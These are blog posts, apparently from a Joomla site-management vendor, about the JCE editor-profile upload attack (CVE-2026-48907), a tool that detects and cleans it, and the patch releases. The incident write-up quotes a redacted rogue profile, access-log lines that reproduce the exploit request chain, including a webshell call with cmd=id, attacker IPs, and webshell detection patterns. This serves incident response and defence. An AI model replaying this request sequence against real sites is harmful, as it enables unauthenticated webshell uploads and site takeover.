Step 1: open the Hacked files tool. Anything listed here is a confirmed compromise, a full-file hash match. Stop triaging and start cleaning, as above. If this tool is empty, good, but don't stop: a freshly dropped backdoor we haven't confirmed yet is sitting in Suspect content, not here.

Step 2: AI analysis on the Suspect content list. Click the AI icon on any single file, or use Analyse Files with AI to queue the lot. Each file comes back with a verdict: safe, suspicious, or malicious, with the problem lines identified. Verdicts are cached globally by file hash, so the files of a popular plugin have usually been analysed by someone already and come back instantly at no cost. A malicious verdict adds that file's hash to the confirmed list, so the next time anyone meets that exact file, it lands straight in their Hacked files tool.

Step 3: manually review what's left. For the handful of files the AI marks suspicious, open the matched lines and apply context the AI may lack. Does the file belong to a plugin you actually installed? Does its modification date match the rest of the package, or did it change last Tuesday at 3am? Is it a PHP file sitting in an images folder? Compare it against the original extension package if you can.

If a file survives all three steps and you're still unsure, send it to me and I'll look at it myself. That offer has been part of the service since 2012.

Your confirmed hack protects everyone else

Every confirmed hacked file makes the whole network safer. The moment a hash is confirmed, whether by my review or an AI verdict I've checked, it joins the global hacklist, and the next audit of any connected site checks against it. The same backdoor dropped on a hundred sites only needs to be condemned once.

This crowd-sourced model is why detection improves daily rather than quarterly. We run over 3,000 audits a day and find over 200 hacked sites a week, and every one of those finds feeds patterns and hashes back into the checks that run on your sites tomorrow.

What if I'm still not sure about a file?

Don't whitelist it, because you can't: mySites.guru deliberately has no user whitelisting, for reasons (including an expensive legal one) covered in the suspect content deep-dive. A file you hide from yourself today is a backdoor you won't see next month.

Instead, leave it flagged and treat it as a known quantity. A suspect flag costs you nothing while it sits there; you'll re-confirm it in seconds on the next audit with cached AI verdicts. And if a file ever nags at you, that's what the manual review channel is for.

A New mySites.guru Tool to Find, and Fix, the JCE Profiles Hack (June 2026)

phil@mysites.guru (Phil Taylor) — Tue, 09 Jun 2026 00:00:00 GMT

The current secure version of JCE is 2.9.99.10, released 29 July 2026. It is the latest release and the one to patch every site to: it fixes an authenticated file rename flaw and, going by the code rather than the changelog, hardens the upload path considerably. It sits on top of the security lineage that matters here: the 2.9.99.8 File Browser hardening, the 2.9.99.7 upload-regression fix and group whitelist, the 2.9.99.6 audit, and the 2.9.99.5 fix for the flaw itself. Anything below 2.9.99.5 still carries the unauthenticated profile upload flaw this attack exploits.

The whole story in one place: our JCE Profiles Hack page is the page of truth for this attack, with the indicators of compromise, the tool that finds and fixes it, and links to every post below.

JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension. It sits in the top two of our live extension ranking, neck and neck with Akeeba Backup. So when the JCE profiles attack started landing on real sites this month, "Are any of the sites I'm responsible for hacked!?" became a question every Joomla agency suddenly needed to answer. mySites.guru now answers it for you, automatically, on every site you manage.

We have added a new dedicated check, Check for JCE Rogue Profiles & Backdoors. It runs on every snapshot, twice a day, on each connected Joomla site, and finds the fingerprint of this attack automatically: rogue editor profiles and the webshells they drop. When it flags something, fixing it is a deliberate, one-click action you trigger yourself, on Joomla 4, 5 and 6 you remove the profiles, delete the backdoors, and update JCE to the patched version, all from one screen. It does not delete anything on its own, because you want to see what is there and take a copy first. This post covers what it checks and how to use it, and the live hack that prompted us to build it.

We built it because we kept finding the real thing. While looking into why a Joomla site was throwing a template error, we found the aftermath of the JCE profiles attack on the live site: a rogue editor profile built to allow file uploads, and a set of webshells dropped through it. The site was running a JCE version old enough to carry the unauthenticated profile upload flaw, CVE-2026-48907. When we swept the rest of that portfolio, two more sites were carrying it too. Doing that sweep by hand across 40 client sites is exactly the work that does not get done, so we automated it.

TL;DR

mySites.guru now has a dedicated Check for JCE Rogue Profiles & Backdoors that runs on every snapshot, twice a day, on every connected Joomla site
It finds rogue editor profiles and the webshells they drop automatically. When it flags something, you fix it manually from one screen: on Joomla 4, 5 and 6 you remove the profiles, delete the backdoors, and update JCE with a click each
It is scoped to this attack's fingerprint, so a merely permissive profile (one with allow_php on for legitimate reasons) is not flagged. The discriminator is whether a profile lets you upload a script file
The attack itself abuses the unauthenticated editor profile upload patched in JCE 2.9.99.5 (CVE-2026-48907): import a rogue profile that allows php and txt uploads, then use it to drop a webshell
It started with three sites in one portfolio. We have since seen hundreds, and with working exploit code for CVE-2026-48907 published on GitHub on 9 June, we expect thousands over the coming days. One compromised site is rarely the only one
To find every install still on a vulnerable build, pair the check with the mySites.guru extension search and patch them in one batch with the mass updater
Removing the files without updating JCE invites reinfection: patch the entry point, do not just clean up after it

Watch: check and clean a JCE-hacked Joomla site

Basic Joomla Tutorials walks through spotting the JCE Profiles hack and cleaning it up with mySites.guru.

Tim Davis publishes clear, no-nonsense Joomla guides on his Basic Joomla Tutorials channel. If you run Joomla, it is well worth a subscribe.

The new tool: Check for JCE Rogue Profiles & Backdoors

Everything in the manual cleanup further down this post (the database query, the file hunt across tmp, media and images, the careful "is this profile rogue or just permissive" judgement) is work that does not get done by hand at scale, repeated for every site you manage. So we built it into mySites.guru as a dedicated check.

It runs on every snapshot, so it is already looking at your connected Joomla sites twice a day. On the site health view it sits in its own Hacked? section, with a single OK on a clean site or a red count of threats on a compromised one.

When a site is flagged, the whole snapshot leads with a red "This site has been flagged as hacked" banner, and the check shows the threat count, eleven on this site, with an Investigate button to drill in.

What it actually checks

The check looks for the fingerprints of this specific attack, in the specific places it leaves them, rather than scanning your whole site (that is the job of the separate suspect content audit). It looks at three things:

The JCE profiles table. It flags editor profiles that carry the attacker signature: a machine-generated name matching J followed by six digits (J940401), labels such as Pwned with a description of RCE via JCE, a large negative ordering that forces the profile to the top, or upload filetypes that allow php or phtml. Crucially, a profile that merely has allow_php enabled is not flagged, because that setting governs PHP inside article content, not file uploads. The discriminator is whether the profile lets you upload a script file, which is what makes the attack work.
Malicious profile imports. The rogue profile is usually dropped as an .xml file in a writable directory before it is imported. The check looks for those import files in the known drop locations.
Dropped backdoors. It checks the exact locations this kit uses (tmp, images, media/system/js, libraries/joomla) for hidden .xml.php droppers, eval(gzinflate(base64_decode(...))) webshells, shell_exec command shells, and Nxploited marker files.

When it finds something, Investigate lists every rogue profile (with the reason each one was flagged) and every malicious file (with its path and why it matched), so you can see exactly what is there before you touch anything. Here it is on a compromised site, showing both kits' signatures side by side: the J940401 machine-generated name and the Pwned labels from earlier, plus eight malicious files spanning the hidden .xml.php droppers, the eval(gzinflate(base64_decode)) and shell_exec($_POST) webshells, the Nxploited markers, and the profile import .xml itself, each with a plain-English reason it was flagged.

From the same screen you can remove the rogue profiles, delete the backdoor files, and, on Joomla 4, 5 and 6, upgrade JCE to the patched version through Joomla's own updater to close the entry point. The deletions are permanent and mySites.guru does not keep a backup, so the tool lists everything first, warns you before it acts, and asks you to take your own copy of anything you want for evidence.

It is deliberately scoped to this attack. The file list it shows is the JCE-specific set, not a full backdoor sweep, and it says so: if you want to scan the whole site for malicious files, that is a one-click link through to a full audit.

When a site is clean, which is the common case, the check just confirms it.

Think you are too big, or too careful, to be hit?

If you are tempted to assume this only happens to neglected sites run by people who do not patch, look at what it did to the most prominent Joomla sites there are. The hack did not stop at one property. The official Joomla Extensions Directory, extensions.joomla.org, the place every Joomla administrator goes to find and install extensions, was taken down and replaced with a bare "503 Maintenance" holding page. So were community.joomla.org and certification.joomla.org. Three of the Joomla project's own flagship sites, all serving the same maintenance page at the same time.

Sit with that for a second. These are not hobbyists' abandoned brochure sites. They are flagship properties run by the Joomla project itself, maintained by people who know Joomla security better than almost anyone, on infrastructure that is watched closely. JCE is one of the most-installed editors in the Joomla world, so any site running it was about as exposed to this attack as a site could be, and exposure plus an unauthenticated, fully automated exploit is all it takes. The botnet spraying this exploit does not check who owns a site or how competent its administrators are before it fires. It finds a reachable JCE install, imports the rogue profile, drops the shell, and moves on, and a 503 maintenance page is what the cleanup looks like from the outside.

The lesson for everyone managing Joomla sites is blunt. "My sites are well looked after" and "I would have noticed" are not the protection they feel like, because this needs no login, leaves no failed-login trail, and lands on every reachable install at once. If the Joomla project's own extensions directory, community site, and certification site can all be taken offline by it at once, the handful of older Joomla sites sitting quietly in your portfolio absolutely can be too. The only thing that actually protects a site is the JCE version it is running, and the only way to know that across a whole portfolio without logging into every administrator panel by hand is to have something watching all of them for you. That is exactly the gap the check in this post closes.

How the JCE profiles attack works

JCE's defining feature is its Editor Profiles system. Rather than handing every logged-in user the same editor, JCE lets an administrator define different profiles for different user groups. A registered user might get a stripped-down toolbar with no file uploads. A content editor might get image and file managers scoped to one media directory. A super user gets the full editor with broad file operations.

Each profile defines, among other things, which file types may be uploaded and into which directories. A profile is, in effect, a set of filesystem permissions wearing an editor's clothes. Control the profile and you control what file operations JCE will carry out.

The flaw patched in 2.9.99.5 was an access control gap on the action that imports an editor profile: before the patch, an unauthenticated request could reach it. Put the two facts together and the attack writes itself. If an anonymous actor can upload a profile, and a profile dictates which file types may be uploaded, the attacker imports a profile permissive enough to allow a PHP upload, then uses it to upload a webshell. That is the chain the 2.9.99.5 advisory points at with "upload arbitrary files to the server," and it is the chain we saw land.

What it looked like on disk

The clearest tell was the rogue profile itself, delivered as a JCE profile import file. Stripped down and with the dangerous values redacted, it looked like this:

<jce>
  <profiles>
    <profile>
      <!-- machine-generated, e.g. a letter plus six digits -->
      <name>[redacted]</name>
      <published>1</published>
      <!-- forced to the top so it takes precedence -->
      <ordering>-99999</ordering>
      <!-- area 0 applies to all users... -->
      <area>0</area>
      <!-- ...and type 1 is the Public group, i.e. anonymous visitors -->
      <types>1,8</types>
      <!-- the file browser plugin is enabled -->
      <plugins>browser,image,media,link,file</plugins>
      <params><![CDATA[{
        "browser": {
          "filetypes": {
            "images": "jpg,jpeg,png,gif",
            "_comment": "php is in the upload allow-list",
            "files": "php,txt,..."
          },
          "upload": {
            "_comment": "mime checking switched off",
            "validate_mimetype": "0"
          }
        }
      }]]></params>
    </profile>
  </profiles>
</jce>

It is configured the way an attacker would configure it and no legitimate site ever would. Four lines do all the damage: the ordering of -99999 forces it to the top of the profile list; the area of 0 with the Public type applies it to anonymous visitors; the file plugin turns the upload browser on; and the upload filetypes include php with mime validation switched off, where a normal profile restricts uploads to images and documents.

That filetypes line is the whole game. A profile that lets you upload a .php file through the JCE file browser is a profile that lets you upload a webshell. (The full payload is deliberately redacted here. There is no reason to publish a working copy.) On this first site the profile carried a machine-generated name, J940401, a throwaway label no human editor would ever type. That name turned out to be a pattern: across the sites we have looked at since, this particular kit names every profile it imports with a capital J followed by six digits, J938560, J991471, J940401, and so on. If you manage Joomla sites, "any JCE profile whose name starts with J and is followed by digits" is a fast, specific thing to grep your databases for.

Alongside it were the webshells the profile was used to drop. A short PHP file that ran shell commands straight from a request parameter, the classic one-line backdoor wrapped in eval(gzinflate(base64_decode(...))) so it does not read as obvious code at a glance. Then several copies of a second backdoor hidden behind innocuous .xml.php filenames, planted inside legitimate directories like media/system/js and libraries/joomla where an extra file is easy to miss. And a scatter of small marker text files, the sort automated kits drop to fingerprint a successful hit and find their way back to it later.

None of this required a login. That is the part worth sitting with. The site had no public registration to speak of, and it did not matter, because the entry point was an unauthenticated profile import, not a user account.

One vulnerable site rarely travels alone

The single site is where we started, not where it ended. Once we knew the fingerprint, we swept the rest of the Joomla sites in that portfolio, and the same attack was sitting live on two more of them. Same mechanism, same upload-everything profile, but a different kit this time, and this one did not bother to hide. Each affected site carried three of them:

Pwned, description RCE via JCE
Pwned (2), description RCE via JCE
Pwned (3), description RCE via JCE

with the upload extensions list padded out to php,phtml. Put that next to the J940401 profile on the first site and you are looking at two different toolkits doing the same thing. Whoever ran these was not doing it by hand. The throwaway names, the repetition, and the identical config across unrelated sites all point at automated tooling spraying the same profile import at every JCE install it can reach.

That portfolio was just where we started. As the check has rolled out across more connected sites, the count has climbed into the hundreds, and the shape of it (automated tooling spraying the same exploit at every JCE install it can reach) is the same shape that took the 2012 ImageManager bug to tens of thousands of sites. It got worse on 9 June, when working exploit code for CVE-2026-48907 was published openly on GitHub. Until then, every attack we logged came from someone's private toolkit. Now the exploit is a download away for anyone, and the 2012 pattern says that is the point where the long tail of un-updated installs really starts getting swept. We fully expect this to reach the thousands over the coming days.

That is why this is not a single-site story. If one of your sites is running a vulnerable JCE, the others running the same build are not safe by virtue of being a different site. They are simply ones the scanner has not got to yet, or has, and you have not looked.

What it looked like in the access logs

The profiles on disk tell you what was installed. The web server logs tell you how it got there, and they are blunt about it. The Apache logs on this site had been dead since 2024, but nginx was fronting the site and had captured everything. Across two days we counted three different attacker IPs, all running the identical exploit: a profiles.import request to create the rogue profile, immediately followed by a plugin.rpc upload to drop the shell through it.

The core of the chain is two requests, back to back, and it is unmistakable once you have seen it once (the host is redacted; the attacker IPs are left in so you can block them):

# 1. Create the rogue editor profile (unauthenticated, CVE-2026-48907)
107.149.130.5 - POST /index.php?option=com_jce&task=profiles.import          200   <- creates the "Pwned" profile
# 2. Use that profile to upload the webshell via the file browser plugin
107.149.130.5 - POST /index.php?option=com_jce&task=plugin.rpc&plugin=browser&method=upload&id=RCEc37&name=m.php&...   200   <- uploads shell
# 3. Confirm the shell runs
107.149.130.5 - GET  /m.php?cmd=id                                           404   <- wrong path, first guess
107.149.130.5 - GET  /images/m.php?cmd=id                                    200   <- shell confirmed working

Three things in there are worth pinning down, because they are what you grep for:

The two-request signature. A task=profiles.import POST followed within the same second by a task=plugin.rpc&...&method=upload POST is the attack, near enough verbatim. The id=RCExxx parameter (RCEc37, RCE401, RCE770 across the IPs we saw) is the attacker's own literal marker, baked into the toolkit.
Every upload returned 200. The exploit succeeded on each attempt, because JCE was unpatched. There was no failed-then-retry pattern to give anyone breathing room.
Three distinct source IPs, two days apart. Two of them sent a python-requests user agent, one came through as a browser. Different IPs, same payload, same id=RCE... marker. That is a botnet spraying a published exploit, not one person targeting one site. The IPs we logged were 107.149.130.5, 92.38.150.143, and 45.153.129.241, and the second one alternated between hitting the site by raw IP and by hostname, so the requests carried both a bare-IP and a hostname Referer. Block the lot at your firewall, but treat them as a sample, not the whole set.

None of this needed a session cookie. Every one of those requests is unauthenticated, which is the entire point of CVE-2026-48907 and the reason "we have no public registration" buys you nothing here. If you keep nginx or Apache access logs, a search for task=profiles.import and method=upload across them will tell you fast whether anyone tried this on your sites, and whether they got a 200 back when they did.

Telling a malicious profile from a merely permissive one

This is where a naive "scan for scary settings" sweep produces noise, because not every permissive profile is an attack.

JCE profiles have an allow_php setting. It is tempting to treat any profile with allow_php enabled as a smoking gun. It is not. allow_php governs whether PHP is allowed to survive inside article content, not whether files can be uploaded. Plenty of legitimate, developer-built profiles have it on because the site's templates or content genuinely use inline PHP. On the very site we investigated, the real, developer-created working profile had allow_php enabled and referenced the site's own template CSS. It was entirely legitimate.

The attacker signature is different, and it is about uploads, not content:

	Legitimate profile	Rogue profile
Name	Descriptive (Default, Lightweight, Editors)	Machine-generated, e.g. `J` plus six digits (`J938560`) or names like `Pwned`
Ordering	Normal positive value	Large negative, forced to the top
Upload filetypes	Images and documents only	Includes `php`, `txt`, or `phtml`
How it got there	Created by the site's developer	Imported, often with no matching admin action in the logs
`allow_php` in content	May be on for legitimate reasons	Irrelevant to the attack

Judge a profile by what it lets you upload and by whether anyone on your team actually created it. A profile whose upload filetypes include a script extension is the one to act on, whatever its allow_php setting says.

A note on JCE's history with file uploads

There is a reason an unauthenticated file upload in JCE specifically should make you move quickly, and it predates this year's bug by well over a decade.

Back in 2012, an unauthenticated arbitrary file upload in JCE's ImageManager (tracked as CVE-2012-2902) became one of the most widely exploited Joomla vulnerabilities of its era. Automated bots scanned the internet for vulnerable JCE installs, uploaded an innocuous-looking image, then renamed it to a .php extension to drop a web shell. Security vendors including Sucuri and Trustwave documented the campaign, it shipped as a ready-made Metasploit module, and sites were still being compromised through it years after the patch existed, purely because so many were never updated.

The 2026 profiles flaw is a separate, newly patched issue. But the shape rhymes exactly: an unauthenticated JCE file-upload path, a long tail of installs nobody updated, and automated tooling that does not care which site it lands on. The 2012 bug got its ready-made Metasploit module; this one got public exploit code on GitHub on 9 June. The single instance we found this week is what that pattern looks like when it reaches one site. The history is what it looks like when it reaches thousands.

Finding every site still running a vulnerable JCE

The hard case is the one that matters: "I look after 40 client Joomla sites, one of them just got hit through an old JCE, and I need to know which of the others are still vulnerable, right now."

That is what mySites.guru is built for. Twice a day, a snapshot runs against every connected Joomla site and indexes every installed extension, including its exact version. You can answer the "which sites are on a vulnerable JCE" question in seconds instead of logging into 40 administrator panels in sequence.

Open the extension search in your dashboard and look up the Editor - JCE entry. You see every version of JCE across your portfolio, grouped by version number, with each site that runs it listed underneath. Anything on 2.9.99.4 or earlier carries the profile upload flaw and needs the update. Sites already on 2.9.99.5 or later, or which auto-updated overnight, are green, though the current recommended target is 2.9.99.10.

You can also separate JCE Free from JCE Pro if you run a mixed estate, which matters when you start chasing the stragglers, because Pro updates are gated by a subscription key and lapsed keys are the usual reason a site sits silently on an old version.

mySites.guru subscribers: jump straight to the JCE inventory

Open JCE Extension Search

Lists every JCE install across your connected Joomla sites, grouped by version. Anything on 2.9.99.4 or earlier needs the patch. Not a subscriber? Sign up free and connect your sites.

Patch the vulnerable sites in one batch

Once you know which sites are exposed, you do not patch them one by one. The mySites.guru mass extension updater lets you select every site running an outdated JCE and trigger the update across all of them at once, straight to 2.9.99.8.

The mass update screen groups every JCE install by the version it can update to, with an "Apply to all" button per group and per-site controls when you want to be selective. Sites stuck on much older branches get patched in the same sweep as ones already on the 2.9.99.x line. Behind the scenes, the platform calls each site's connector, pulls the package from JCE's update server, installs it, and reports back with a pass or fail per site. Any site that is offline, firewalled, or running an outdated connector surfaces as a clear failure rather than a silent miss.

For agencies running scheduled automation, JCE updates can be enrolled in the same overnight extension auto-update flow as everything else. The Automatic Updates for Any Joomla Extension feature already covers JCE Free and JCE Pro, which means a site enrolled before this all kicked off was patched before anyone had to think about it.

For sites that genuinely cannot update: the free patch

The current JCE releases need PHP 7.4 and Joomla 3.9 or later, and you will have a handful of long-tail sites that cannot meet that yet. For those, the JCE developer has released a free patch package that closes this vulnerability in JCE 2.7.x, 2.8.x and 2.9.x. JCE 2.6.x is not affected in a default configuration, because the unauthenticated profile import path is blocked and no guest-accessible profile exists by default, though it is unsupported and should still be migrated.

Treat the patch as a stopgap, not a fix. It closes the vulnerability only, without the broader hardening in the 2.9.99.6 and later releases, it is provided as-is, and it does not clean a site that was already compromised, so still work through the checks below. Back up and test on a copy first. End-of-life PHP or Joomla leaves the site exposed to other unpatched issues regardless, so the patch buys time to migrate, nothing more. Where a site can reach 2.9.99.8, update it rather than patch it.

Cleaning up a hacked site, step by step

Patching closes the door. On older or higher-risk sites, or any site you have reason to suspect, you also want to check whether anyone already walked through it. The profiles attack leaves a fingerprint you can hunt for, precisely because the malicious request needs no session.

Audit the editor profiles. Under Components -> JCE Editor -> Editor Profiles on each site, look for any profile your team did not create, especially one with a machine-generated name, a forced ordering, or upload filetypes that include a script extension. The kits we have seen leave an obvious tell here: profile names like J followed by six digits, or names such as Pwned with a description of RCE via JCE. If you would rather query the database directly, the JCE profiles live in the #__wf_profiles table, so a SELECT id, name FROM <prefix>_wf_profiles WHERE name REGEXP '^J[0-9]{6}$' across each site is a quick way to flush them out. Take a copy before you delete anything.
Look for files you did not put there. Check tmp, media, images, and any custom upload roots for PHP files, hidden .xml.php files, and stray marker text files, especially anything with a recent timestamp that does not match a known change.
Pull the access logs. Grep nginx or Apache access logs for task=profiles.import and method=upload requests, the two-request signature shown above. Unauthenticated requests to those actions, especially a pair within the same second that both returned 200, are the ones that matter. Remember the Apache logs may be stale if nginx fronts the site, check both.

Step one is the most telling. Here is what it looks like in Joomla's own Editor Profiles list on a compromised site: the legitimate Default profile, and then the rogue J940401, Pwned, and Pwned (2) profiles sitting right beside it, the last two labelled RCE via JCE by whoever dropped them.

Doing this by hand across a portfolio is exactly the kind of work that does not happen, which is why automating it matters. Run mySites.guru's suspect content scanner across your sites to surface webshells and modified files, and lean on AI-powered malware analysis to triage anything it flags rather than eyeballing obfuscated PHP one file at a time.

If you do find a live compromise, the order of operations matters. Preserve a copy of the rogue profile and the suspect files for evidence, then remove the profile and the webshells, update JCE to 2.9.99.8 so the entry point is closed, rotate Joomla secrets and admin passwords, invalidate active sessions, and run a full scan to confirm nothing else was left behind. Our guide to fixing a hacked Joomla or WordPress site walks through the full recovery. The one mistake to avoid is deleting the files and calling it done: if JCE is still on a vulnerable version, the same automated tooling will be back, and the marker files exist precisely so it can find the site again.

Or skip the manual version entirely and let the new check at the top of this post do all three steps for you on every connected site.

How quickly should you act?

Treat this as a patch-now job on any publicly reachable site running JCE, which is almost all of them. Because the profile upload flaw is unauthenticated, the usual "only sites with registered users are at risk" reasoning does not apply. The site we found had no meaningful public registration and was compromised anyway. And since 9 June, working exploit code has been public on GitHub, so the pool of people who can run this attack is no longer limited to whoever built the original kits.

The JCE developer has now confirmed the same picture publicly: the vulnerability is being actively exploited, the exploit code is public, and the attacks are automated. The developer's own reliable confirmation tell matches what we found in the logs: unauthenticated requests to index.php?option=com_jce&task=profiles.import, with the earliest matching entry showing when the site was first reached. That advisory points readers here for the full technical breakdown.

Patch today to 2.9.99.8 on every site still on a vulnerable JCE: the underlying flaw is unauthenticated and has a public exploit. The update is free and config-free for both Free and Pro, and the 2.9.99.7 fix it carries restored legitimate uploads that 2.9.99.6 could block, so there is no reason to hold back.

Check the higher-risk sites for the fingerprint above as a second pass: older Joomla installs, sites with a history of neglect, anything where the JCE version sat unpatched for a long stretch. For most sites the check comes up empty, which is the point. Close the chapter deliberately rather than assuming nothing happened because nothing was reported.

Does this affect WordPress?

No. JCE is a Joomla-only editor extension. There is no WordPress build, no shared codebase, and no equivalent profile-import mechanism. WordPress sites use the core block editor or TinyMCE, which have their own separate histories. If you run a mixed estate, the WordPress half is unaffected by this. The Joomla half needs the update and, on the older sites, the check.

The underlying shape of the bug, an access control missing on a request that should have required authorisation, is a recurring one across both platforms. We dug into it in AJAX Endpoints: The Biggest CMS Security Blind Spot, where endpoints that should check who is calling them simply do not.

JCE Pro 2.9.99.6 Is a Hardening Release After a Full Audit of Joomla's Most-Installed Editor

phil@mysites.guru (Phil Taylor) — Mon, 08 Jun 2026 00:00:00 GMT

The whole story in one place: our JCE Profiles Hack page is the page of truth for this attack, with the indicators of compromise and the tool that finds and fixes it across every site you manage.

JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension. It sits in the top two of our live extension ranking, neck and neck with Akeeba Backup. If you look after a stack of Joomla sites, nearly all of them almost certainly have JCE installed.

On 8 June 2026, the JCE developer released JCE Pro 2.9.99.6. This one reads differently from the two releases before it. Rather than patching a single named flaw, the developer describes spending four days on "a comprehensive analysis and audit of the JCE extension, narrowing entry points, and hardening input validation." It is a strongly recommended update for every site, framed as defense in depth rather than a fire drill.

This is the third JCE security release in under two weeks. The 2.9.99.4 release on 28 May patched two authenticated-only bugs in the file browser. The 2.9.99.5 release on 3 June was the serious one: an unauthenticated editor profile upload that could be used to upload arbitrary files to the server, tracked as CVE-2026-48907. 2.9.99.6 is the developer's follow-up to all of that, a deliberate sweep of the codebase to find and close whatever the first two fixes did not.

This post covers what 2.9.99.6 actually changes, why a hardening release with no named CVE still belongs on your patch-today list, and how to find and update every JCE install across the Joomla sites you manage with mySites.guru in one batch instead of one administrator panel at a time.

The short version

JCE 2.9.99.6 is a security hardening release following a full four-day audit of the editor. It narrows entry points and tightens input validation across JCE. There is no new named CVE, but the developer calls it strongly recommended for all sites. If you patched to 2.9.99.5 last week, update again to 2.9.99.6 now.

Update, 29 July 2026

JCE 2.9.99.10 is now the current release, published 29 July. Its one listed security item is minor next to this one: an authenticated, privileged user could rename a file so it became hidden in the folder they were browsing. Comparing the packages shows it also hardens the upload path well beyond what the changelog admits. Read the 2.9.99.10 breakdown, and update any site still on an earlier 2.9.99.x.

Update, 2 July 2026

JCE 2.9.99.8 is now the current release, published 2 July. It is a maintenance update rather than a security fix: it hardens the File Browser so php, js and exe files are never listed even when a profile allows them, and fixes folder-restricted Media Fields, filenames with special characters, and dialog display problems. If you are on any earlier 2.9.99.x, update to 2.9.99.8.

Update, 18 June 2026

2.9.99.6 was superseded by JCE 2.9.99.7, released 18 June. Most importantly, it fixes an upload regression that 2.9.99.6 introduced: over-eager PHP-tag detection was blocking legitimate image and file uploads on some sites. If your uploads broke after updating to 2.9.99.6, 2.9.99.7 is the fix. It also adds a Permitted User Groups whitelist for profile assignment and continues the upload hardening. No new CVE. Both are now themselves superseded by 2.9.99.10, so update straight to the current release.

Update, 10 June 2026

On 9 June, working exploit code for CVE-2026-48907, the unauthenticated file upload patched in 2.9.99.5, was published on GitHub. When this post first went out, we wrote that you were not racing a published exploit. You now are. If any site you manage is still below 2.9.99.5, treat it as a drop-everything update, and check it for rogue profiles and webshells while you are there.

Update, 16 June 2026

CISA, the US government's cyber security agency, has added CVE-2026-48907 to its Known Exploited Vulnerabilities catalog (listed as the "Widget Factory Joomla Content Editor Improper Access Control Vulnerability"). CISA only lists a flaw there when it has evidence of active exploitation in the wild, so this is independent confirmation of what the developer reported. The catalog carries a patch deadline for US federal agencies; that directive does not bind private organisations, but CISA recommends everyone treat KEV-listed flaws as a priority. Translation: patch now, on 2.9.99.5 or above.

TL;DR

JCE Pro 2.9.99.6 released 8 June 2026, the third JCE security release in under two weeks
Result of a four-day audit of the editor that narrowed entry points and hardened input validation
Framed as defense in depth, not a fix for one named flaw. No CVE assigned to this release itself
Update, 9 June: working exploit code for CVE-2026-48907, the flaw patched in 2.9.99.5, is now public on GitHub. Any site below 2.9.99.5 is racing a published exploit
The developer calls it a strongly recommended update for all sites
Supersedes every earlier release, including last week's 2.9.99.5 (CVE-2026-48907, unauthenticated file upload) and 2.9.99.4
If you already updated to 2.9.99.5, update again to 2.9.99.6
Runs natively on Joomla 3, 4, 5, and 6 without the Backwards Compatibility plugin
The release announcement recommends mySites.guru by name for managing updates across multiple sites
For sites that cannot reach 2.9.99.6 (it needs PHP 7.4 and Joomla 3.10+), the developer has published a free patch package for JCE 2.7.x, 2.8.x and 2.9.x. JCE 2.6.x is not affected in a default config
Update via the Joomla Update Manager or the JCE downloads area
If you manage multiple sites, mySites.guru's mass updater pushes the update to every affected site at once

What 2.9.99.6 actually is

The release announcement is short and, refreshingly, honest about what kind of update this is. In the developer's own words:

Following on from last week's emergency update, I have spent the last 4 days conducting a comprehensive analysis and audit of the JCE extension, narrowing entry points, and hardening input validation. This release is the result of that audit. It is a strongly recommended update for all sites.

There is no single security line naming one bug, the way 2.9.99.5 carried "insufficient access controls permitted unauthenticated users to upload editor profiles." At the time this post goes out, the editor changelog has not yet published a detailed 2.9.99.6 entry. So treat this as exactly what the developer describes: a proactive hardening pass, not a response to a fresh public disclosure.

That distinction mattered for how you triage it, and it lasted exactly one day. 2.9.99.5 was a "drop everything" release because it named an unauthenticated file upload. When it landed, 2.9.99.6 read as a "do it today, but you are not racing a published exploit" release. Then, on 9 June, working exploit code for CVE-2026-48907 was published on GitHub. For sites already on 2.9.99.5, updating to 2.9.99.6 today is still the right pace. For any site still below 2.9.99.5, you are back to drop everything, because the flaw it patched now has a public exploit, and the fix is the same either way: go straight to 2.9.99.6.

Why a hardening release still earns a patch-today slot

It is tempting to file "no CVE of its own, just hardening" under "next maintenance window." On most extensions, that would be a reasonable call. On JCE specifically, it is not, for three reasons.

First, reach. JCE is on more Joomla sites than any other editor. A hardening change to JCE touches a larger share of your estate than almost any other single update you will apply this month.

Second, context. This audit was triggered by a genuine unauthenticated file upload disclosed days earlier. When a developer says "I went looking for more after finding that one," the sensible assumption is that the audit closed things worth closing, even if they have not been written up as individual advisories. Input validation hardening on an editor that handles file paths and uploads is not cosmetic. The same week this release landed, we found that unauthenticated upload being exploited on a live Joomla site, and on 9 June working exploit code for it was published on GitHub for anyone to run. That is exactly the kind of real-world escalation that makes a hardening pass worth applying on every install before anyone goes looking again.

Third, cost. The update is free, config-free, and carries no functional changes for either Free or Pro. The risk of applying it is effectively zero. The only thing "wait and see" buys you is a longer window in which a site sits below the current security baseline of its most-installed extension.

How 2.9.99.6 fits with 2.9.99.4 and 2.9.99.5

Three releases in twelve days is unusual, and it helps to see them as one connected story rather than three separate scares.

	JCE 2.9.99.4 (28 May)	JCE 2.9.99.5 (3 June)	JCE 2.9.99.6 (8 June)
Type	Two named bug fixes	One named bug fix	Hardening audit
Authentication	Authenticated only	Unauthenticated	N/A (proactive)
CVE	None	CVE-2026-48907	None at time of writing
Trigger	External report	External report	Developer's own audit
Urgency	Patch this week	Patch now	Patch today

The 2.9.99.4 release closed two authenticated-only issues in the file browser. The 2.9.99.5 release closed the serious one, an unauthenticated profile upload that could lead to arbitrary file upload. 2.9.99.6 is the developer's deliberate follow-through: having found and fixed a real unauthenticated flaw, they audited the rest of the editor to harden it before anyone else went looking. That is the response you want to see from a maintainer after an emergency fix, and it is a point in JCE's favour, not against it.

If you have been tracking these releases, the practical upshot is simple. The target version moved several times in a matter of weeks. Whatever you patched to last, the current floor is now 2.9.99.10.

The JCE developer recommends mySites.guru by name

One detail in the 2.9.99.6 announcement is worth calling out, because it speaks directly to the problem this release creates for anyone running more than a couple of Joomla sites. After three updates in twelve days, the developer adds:

Update fatigue is real. If you manage multiple sites you might consider services like BackupMonkey and mySites.guru, which assist in managing and updating multiple sites.

That is the JCE developer, unprompted, pointing multi-site owners at mySites.guru in the same announcement that asks everyone to update again. It is a fair point. Three releases in twelve days is exactly the scenario where logging into administrator panels one at a time stops being viable, and where a central extension inventory and a mass updater earn their keep.

How to update JCE on a single Joomla site

For one site, the update is routine. Joomla's built-in extension update tooling picks up 2.9.99.6 as soon as the JCE update server publishes it.

Log in to the Joomla administrator
Go to System -> Update -> Extensions
Click Check for Updates
Select the JCE row
Click Update

